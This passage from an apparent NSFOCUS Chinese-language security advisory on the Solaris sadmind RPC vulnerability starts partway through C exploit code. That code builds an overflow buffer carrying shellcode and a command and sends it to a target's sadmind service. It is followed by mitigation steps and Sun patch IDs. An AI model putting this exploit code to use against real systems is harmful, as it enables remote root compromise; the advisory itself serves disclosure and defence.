*cp++ = (addr >> 8) & 0xff;
*cp++ = (addr >> 16) & 0xff;
*cp++ = (addr >> 24) & 0xff;
}
slen = strlen(shell); clen = strlen(command);
len = clen; len++; len = -len;
shell[LEN+0] = (len >> 0) & 0xff;
shell[LEN+1] = (len >> 8) & 0xff;
shell[LEN+2] = (len >> 16) & 0xff;
shell[LEN+3] = (len >> 24) & 0xff;
cp = buf + BUFLEN - 1 - clen - slen;
memcpy(cp, shell, slen); cp += slen;
memcpy(cp, command, clen); cp += clen;
*cp = '\xff';
buf[BUFLEN] = '\0';
memset(&send, 0, sizeof(struct nm_send));
send.header.uint2 = NETMGT_HEADER_TYPE;
send.header.string1 = "";
send.header.string2 = "";
send.header.string3 = "";
send.header.uint7 =
strlen(ADM_FW_VERSION) + 1 +
(4 * sizeof(unsigned int)) + sizeof(int) +
strlen(ADM_CLIENT_DOMAIN) + 1 +
(4 * sizeof(unsigned int)) + strlen(buf) + 1 +
strlen(ADM_FENCE) + 1 +
(4 * sizeof(unsigned int)) + sizeof(int) +
strlen(NETMGT_ENDOFARGS) + 1;
send.version.string1 = ADM_FW_VERSION;
send.version.uint1 = NETMGT_ARG_INT;
send.version.uint2 = sizeof(int);
send.version.int1 = 1;
send.string.string1 = ADM_CLIENT_DOMAIN;
send.string.uint1 = NETMGT_ARG_STRING;
send.string.uint2 = strlen(buf);
send.string.string2 = buf;
send.fence.string1 = ADM_FENCE;
send.fence.uint1 = NETMGT_ARG_INT;
send.fence.uint2 = sizeof(int);
send.fence.int1 = 666;
send.footer.string1 = NETMGT_ENDOFARGS;
cl = clnt_create(hostname, NETMGT_PROG, NETMGT_VERS, "udp");
if (cl == NULL) {
clnt_pcreateerror("clnt_create");
exit(1);
}
cl->cl_auth = authunix_create("localhos
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 如果不需要sadmin服务,在/etc/inetd.conf中注释掉sadmind。
在默认情况下,sadmind在/etc/inetd.conf中显示如下:
100232/10 tli rpc/udp wait root /usr/sbin/sadmind sadmind
如果你一定使用这个服务,就必须通过路由器或防火墙来阻止外部进入。
厂商补丁:
Sun
---
Sun已经为此发布了一个安全公告(Sun-00191)以及相应补丁:
Sun-00191:sadmind
链接:http://sunsolve.sun.com/pub-cgi/retrieve.pl?doctype=coll&doc=secbull/191&type=0&nav=sec.sba
补丁下载:
OS Version Patch ID
__________ _________
SunOS 5.7 108662-01
SunOS 5.7_x86 108663-01
SunOS 5.6 108660-01
SunOS 5.6_x86 108661-01
SunOS 5.5.1 108658-01
SunOS 5.5.1_x86 108659-01
SunOS 5.5 108656-01
SunOS 5.5_x86 108657-01
AdminSuite Version Patch ID
__________________ ________
2.3 104468-18 (see Note)
2.3_x86 104469-18 (see Note)
Note: Install patch if AdminSuite is installed. AdminSuite may be
installed on SunOS 5.7, 5.6, 5.5.1, 5.5, 5.4 or 5.3.
您可以使用下列链接来下载相应补丁:
http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=<补丁ID>&method=h
例如,对于代号为111596-02的补丁,您可以使用下列链接:
http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=111596&method=h
补丁安装方法:
1. 首先用unzip或者uncompress命令将补丁包解压缩
2. 然后使用patchadd 命令安装补丁,例如:
# patchadd /var/spool/patch/104945-02
假设要安装的补丁号是104945-02, 解压之后的目录在:"/var/spool/patch/104945-02"
浏览次数:8555
严重程度:0(网友投票)
绿盟科技给您安全的保障